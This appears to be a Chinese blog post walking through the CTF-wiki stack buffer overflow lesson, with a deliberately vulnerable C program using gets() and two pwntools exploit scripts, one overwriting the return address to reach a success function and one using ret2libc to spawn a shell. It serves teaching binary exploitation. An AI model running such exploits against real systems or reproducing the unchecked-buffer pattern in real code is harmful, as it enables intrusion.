• ctfwiki-pwn:Stack Overflow Principle


    程序源码:

    #include <stdio.h>
    #include <string.h>
    void success() { puts("You Hava already controlled it."); }
    void vulnerable() {
      char s[12];
      gets(s);
      puts(s);
      return;
    }
    int main(int argc, char **argv) {
      vulnerable();
      return 0;
    }

    使用gdb-peda获取buf到ret的偏移为:24(命令:pattern_create 200,pattern_offset)

    获取success函数的地址:

    方法一:gdb查看方法信息

    方法二:IDA PRO查看函数地址

    方法三:用PWN的ELF.sym获取success函数地址(推荐,当开启PIE时前两个办法会失效)

    EXP:

    from pwn import *
    context(log_level='debug',arch='i386',os='linux')
    io=process('./stack_example')
    elf=ELF('./stack_example')
    success=elf.sym['success']
    offset=24
    libc_base=0xf7dc9000
    print hex(success)
    payload='a'*offset+p32(success) #有的写成'a'*20+p32(0)+p32(success),这里都是一样的,只是他是先填充到ebp的地址,然后再覆盖esp,接着覆盖ret
    io.sendline(payload)
    io.interactive()

    附:使用ret2libc获取shell

    from pwn import *
    context(log_level='debug',arch='i386',os='linux')
    io=process('./stack_example')
    offset=24
    libc_base=0xf7dc9000
    shell=libc_base+0x00045830
    bash=libc_base+0x00192352
    payload='a'*offset+p32(shell)+p32(0xdeadbeef)+p32(bash) #注意要在ebp后面传入0xdeadbeef,给system函数充当返回地址
    io.sendline(payload) io.interactive()

  • 相关阅读:
    三大家族的作用和区别
    正则表达式
    Math的方法
    数组API方法
    面向对象方法
    数组的常用方法
    对象和数组的遍历方法
    js运算符(运算符的结合性)
    i++和++i的运算符
    flex
  • 原文地址:https://www.cnblogs.com/luocodes/p/13916741.html
Copyright © 2020-2023  润新知